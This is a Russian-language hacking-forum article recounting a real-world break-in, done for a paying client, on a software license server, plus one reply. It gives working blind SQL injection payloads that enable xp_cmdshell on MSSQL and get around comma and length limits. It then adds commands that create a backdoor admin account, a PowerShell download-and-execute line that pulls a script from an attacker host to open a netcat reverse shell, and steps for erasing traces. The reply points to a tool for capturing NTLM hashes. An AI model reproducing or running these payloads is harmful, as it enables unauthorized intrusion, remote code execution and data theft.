• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Доводим необычную blind SQL-инъекцию до шелла

Ren4rd

floppy-диск
Пользователь
Регистрация
18.11.2019
Сообщения
5
Реакции
42
Всем привет, увидел объявление о конкурсе на статьи на другом форуме и, так уж совпало, со мной недавно произошел случай, который, на мой взгляд, может быть достоин статьи. Повествование буду вести в стиле более-менее подробного пересказа ситуации, со всеми успехами и неудачами, так должно быть интереснее, чем просто с сухим дано и решением проблемы.

Начнем с сути, ко мне обратился клиент, которому необходимо было получить доступ к серверу, выкачать дамп базы и часть файлов, то есть, в идеале, нужен был шелл. В ходе более подробного изучения ситуации выяснилось, что цель представляет из себя сервер лицензий, к которому коннектится клиентское приложение. Взяв сниффер в руки, выяснил, что общение с сервером проходит по HTTP протоколу и полностью зашифровано, то есть руками, не зная ключи шифрования, с сервером не пообщаться. На всякий случай поковырял dll софта IDA'ой, вдруг получилось бы быстро достать ключи шифрования и упростить себе общение с сервером. Наткнулся на vmprotect, пришел к выводу, что моих знаний в реверсинге недостаточно, чтобы быстро достать ключи, клиенту надо срочно, а на аутсорс реверсинг не хотелось отдавать, чтобы не палить тему.

В итоге, решил общаться с сервером через сам софт, для этого предназначенный. Параметры лицензии хранятся в .txt файле, там несколько параметров через запятую, нас интересует ключ лицензии, он точно должно отправляться на сервер и искаться в базе, время попробовать SQL-инъекцию.

Кратко поясню в чем суть, на случай, если статью читают те, кто далек от темы. Ключ отправляется на сервер и там должен делаться запрос в базу, чтобы проверить, существует ли такой ключ и не просрочен ли он, если упростить, то запрос должен выглядеть примерно так:
SQL:
SELECT key_expire_date FROM license_keys WHERE key='ADCDEF';
где ADCDEF - наш ключ, который мы вводим в .txt файле.

Если данные в этом ключе никак не проверяются, мы можем выполнить произвольный SQL-запрос, просто закрыв кавычку и закомментировав лишний код. Например, пробуем вместо ключа вписать:
' or 1=1--
таким образом, на сервере получится такой запрос (просто подставляем ' or 1=1-- вместо ADCDEF):
SQL:
SELECT key_expire_date FROM license_keys WHERE key='' or 1=1--';
-- это комментарий в SQL, все после него отбрасывается и не выполняется, то есть мы получили такой SQL-запрос, при котором вернутся все ключи из базы (потому что or 1=1 - это условие, которое выполняется всегда, даже несмотря на то, что ключ у нас получается пустой), серверный код в таком случае обычно берет первый и начинает работать с ним, а первый часто оказыается каким-то админским, у которого неограниченный срок и нас должно залогинить.

Так и происходит, приложение логинится, то есть мы нашли SQL-инъекцию. Это хорошо, но радоваться пока рано, это blind (слепая) SQL-инъекция, то есть мы можем выполнять произвольные запросы, но никакого ответа от сервера получить не можем (кроме того, что приложение залогинилось, а значит запрос выполнился без ошибок).

С помощью стандартных средств анализа веб-серверов, которые есть, например в Kali, узнаем, что имеем дело с веб-сервером IIS 7.5 от Microsoft, это значит, что сервер базы MSSQL, а ОС, скорее всего, Windows Server 2008, информация полезная, позже пригодится.

В MSSQL существует возможность выполнять batch (cmd) команды на сервере с помощью
SQL:
EXEC xp_cmdshell 'net user'
в данном случае выполнится команда, которая просто выведет всех юзеров на машине, выведет вникуда, т.к. инъекция слепая, но это неважно, пока просто проверяем, залогинится ли приложение:
' or 1=1; EXEC xp_cmdshell 'net user'--
не логинится, это может означать, либо что у нас нет прав (SQL-пользователь не sysadmin), либо то, что xp_cmdshell, отключен, как обычно и бывает и надо включить.

Включается таким образом:
SQL:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE

Однако здесь сталкиваемся с проблемой, в запросах присутствует запятая. Напомню, ключ для приложения указывается в .txt файле, где он с другими параметрами перечислен через запятую, то есть мы не можем использовать запятые в SQL-запросах, экранирование (\,) не помогает.

Для такой проблемы есть стандартное решение:
SQL:
CREATE TABLE z(l VARCHAR(999)); -- создаем в базе таблицу z
INSERT z VALUES('EXEC sp_configure "show advanced options" '+CHAR(44)+' 1'); -- записываем наш запрос в таблицу z, здесь CHAR(44) и есть запятая
DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 * FROM z);EXEC sp_executesql @s; -- читаем запрос из таблицы z в переменную s и выполняем его

В процессе работы сталкиваюсь с еще одной проблемой, если вместо ключа в .txt файл записать что-то длиннее 105 символов, приложение просто крашится, по всей видимости, ключ записывается в динамическую переменную, под которую выделено строго 105 байт, пишем больше - краш. Что ж, еще одно ограничение, не можем использовать длинные запросы, чем дальше, тем интереснее.

Разбиваем все на несколько запросов, чтобы каждый уложился в нужное количество символов. К каждому добавляем вначале ' or 1=1;, чтобы понять, выполнился ли запрос или была какая-то ошибка (если все ок, приложение должно залогиниться на каждом запросе):
' or 1=1;CREATE TABLE z(l VARCHAR(999))--
' or 1=1;INSERT z VALUES('EXEC sp_configure "show advanced options" '+CHAR(44)+' 1')--
' or 1=1;DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 * FROM z);EXEC sp_executesql @s--
' or 1=1;RECONFIGURE--


Пытаемся выполнить запросы один за другим и на первом же запросе приложение не логинится. Я сразу делаю неправильный вывод (что у SQL учетки нету прав даже на создание таблиц, куда уж там до шелла), расстраиваюсь, решая, что потерял время напрасно и надо искать другое решение. Иду покурить на минус морали и пока курю, в голове зарождается теория, что мой вывод может быть неверным и возможно ключ участвует в нескольких запросах на сервере, табличка создается в первом, а в других падает с ошибкой, т.к. табличка с таким именем уже существует и по итогу приложение не логинится.

Прихожу, проверяю теорию попыткой очистить табличку (чистить ее можно сколько угодно раз, главное, чтобы она была):
' or 1=1;TRUNCATE TABLE z--
приложение логинится, а значит теория верна и таблица в базе создалась. Довыполняю остальные запросы, на выполнении sp_executesql и RECONFIGURE приложение логинится, что как бы намекает, что у SQL учетки права sysadmin и это не может не радовать.

Далее, аналогичным образом, пишем и выполняем следующую часть запросов на включение xp_cmdshell:
' or 1=1;CREATE TABLE z(l VARCHAR(999))--
' or 1=1;INSERT z VALUES('EXEC sp_configure "xp_cmdshell" '+CHAR(44)+' 1')--
' or 1=1;DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 * FROM z);EXEC sp_executesql @s--
' or 1=1;RECONFIGURE--


Удаляем табличку, чтобы не оставлять совсем уж очевидных следов взлома, она нам пока больше не нужна:
';DROP TABLE z--

Проверяем, включился ли xp_cmdshell, повторяя:
' or 1=1; EXEC xp_cmdshell 'net user'--
программа логинится, это хорошо, у нас появилась возможность исполнять batch (cmd) команды на сервере, хоть и результат их выполнения посмотреть возможности пока нет.

Иногда бывает (хоть и редко), что SQL-сервис запущен от админской учетки в винде, пытаемся упростить себе жизнь, создав админскую RDP-учетку, чтобы впоследствии подключиться через удаленный рабочий стол:
' or 1=1;EXEC xp_cmdshell 'net user hadmin qwerty123 /add'--
' or 1=1;EXEC xp_cmdshell 'net localgroup Administrators hadmin /add'--

первая же не работает, приложение не логинится, делаем вывод, что учетка все же не админская. Тут я, на всякий случай, выполнил и вторую команду и попробовал подключиться через RDP, чтобы не повторять прошлых ошибок, это не сработало. Также не сработали и команды на изменение правил фаервола, что еще раз подтвердило, что у учетки нет админ прав.

Предполагая, что на сервере стандартный антивирус, решил попробовать получить шелл через netcat и powershell с помощью скачивания нужного скрипта, загрузки его в память и исполнения оттуда (Windows не дает запустить непроверенные powershell скрипты из файла), обычно это не палится.

Скрипт, который надо будет залить на машину жертвы, можно взять тут:

Также понадобится собственный сервер (в моем случае Kali Linux).

Учитывая, что у нас ситуация, где запросы ограничены в длине (105 символов), сразу переименовываем скрипт, исполняемую функцию во что-то короткое (p.ps1 и pt соответственно), а также заполняем в файле стандартные параметры, чтобы не перечислять их при вызове (IP нашего Kali Linux сервера (например, 123.123.123.123), порт 443, команда по умолчанию cmd):
Python:
function pt
{
  param(
    [alias("Client")][string]$c="123.123.123.123",
    [alias("Listen")][switch]$l=$False,
    [alias("Port")][Parameter(Position=-1)][string]$p="443",
    [alias("Execute")][string]$e="cmd",
    [alias("ExecutePowershell")][switch]$ep=$False,

Чтобы начать слушать (ожидать) подключения на 443 порту от нетката на нашем Kali Linux сервере, выполняем команду:
sudo nc -lvp 443

Создаем отдельную папку на нашем сервере, куда кладем полученный ранее p.ps1 скрипт, открываем отдельный терминал, переходим с помощью cd в папку, где лежит p.ps1 и выполняем:
sudo python –m SimpleHTTPServer 80
это запустит простейший HTTP сервер и позволит скачать наш скрипт на сервере жертвы.

Теперь, чтобы создать неткат подключение, необходимо выполнить на сервере жертвы следующую команду:
Python:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString(\"http://123.123.123.123/p.ps1\");pt"

Казалось бы, все просто, но не в нашем случае. Вспоминаем ограничение (105 символов на запрос), к нему также добавляется ограничение невозможности использовать //, это я выяснил на одном из этапов, пробуя разные варианты, не знаю, с чем связано это ограничение, просто примем как факт, что приложение крашится, если в ключе есть //. Это не дает нам указать протокол http://, а без этого не получится скачать скрипт.

Проблему с // можно обойти тем же способом, которым мы обходили проблему с запятыми, только в этом случае код символа будет другой (CHAR(47)).

Однако ограничение на количество символов остается, тут можно записывать в нашу табличку z запрос по частям (INSERT -> UPDATE -> UPDATE ..) и потом его выполнить. Но не забываем, что запрос, в котором участвует ключ, выполняется несколько раз. Для INSERT это не важно (мы всегда можем получить первую запись с помощью SELECT TOP 1). А в случае с UPDATE это фатально, в таблице в итоге окажется каша вместо нужного запроса, так как последующие части допишутся по нескольку раз.

Решил обходить это с помощью создания таблицы с двумя полями (флаг и непосредственно запрос), дописывать запрос только если флаг равен 1 и тут же менять флаг на 2. Чтобы создать таблицу с двумя полями, нужна запятая, которая запрещена, решим это созданием двух таблиц, в первой построим запрос на создание второй, во второй построим нужную powershell команду и выполним ее. В SQL запросах это выглядит следующим образом:
SQL:
CREATE TABLE z(l VARCHAR(MAX)) -- создаем первую таблицу
INSERT z VALUES('CREATE TABLE zq (n INT'+CHAR(44)+'l VARCHAR(999));') -- записываем запрос на создание второй таблицы
DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 * FROM z);EXEC sp_executesql @s -- выполняем запрос на создание второй таблицы
INSERT zq(l) VALUES('powershell -c "IEX(New-Object System.Net.WebClient).DownloadString(\"http:')-- записываем первую часть powershell команды
UPDATE zq SET n=1 -- устанавливаем флаг 1
UPDATE zq SET l=l+CHAR(47)+'/123.123.123.123/p.ps1\");pt"' WHERE n=1;UPDATE zq SET n=2 -- дописываем вторую часть команды только если флаг = 1, меняем флаг на 2 в этом же запросе
DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 l FROM zq);EXEC xp_cmdshell @s -- выполняем powershell команду из второй таблицы с помощью xp_cmdshell

Пробуем выполнить запросы выше через нашу SQL-инъекцию в ключе, выполняем, поочередно подставляя вместо ключа:
';CREATE TABLE z(l VARCHAR(MAX)) --
';INSERT z VALUES('CREATE TABLE zq (n INT'+CHAR(44)+'l VARCHAR(999));') --
';DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 * FROM z);EXEC sp_executesql @s --
';INSERT zq(l) VALUES('powershell -c "IEX(New-Object System.Net.WebClient).DownloadString(\"http:')--
';UPDATE zq SET n=1 --
';UPDATE zq SET l=l+CHAR(47)+'/123.123.123.123/p.ps1\");pt"' WHERE n=1;UPDATE zq SET n=2 --
';DECLARE @s NVARCHAR(999);SET @s=(SELECT TOP 1 l FROM zq);EXEC xp_cmdshell @s --


После выполнения последней получаем подключение к нашему Kali серверу и шелл:
shell.jpg


Задача выполнена, не забываем удалить очевидные следы в виде двух временных табличек в базе:
';DROP TABLE z--
';DROP TABLE zq--


Надеюсь, кому-то окажется полезным мой опыт. Случай показался интересным, потому что в нем было много различных ограничений, которые усложняли работу. Старался писать так, чтобы любой новичок все понял. Последний раз что-то подобное писал очень давно, так что строго не судите.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
дополню, для MSSQL есть очень удобный пак MSDAT

MSDAT: Microsoft SQL Database Attacking Tool


smbauthcapture module : поднять шару. запросом в БД можно забрать NTLM hash (описано более подробно в гите)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх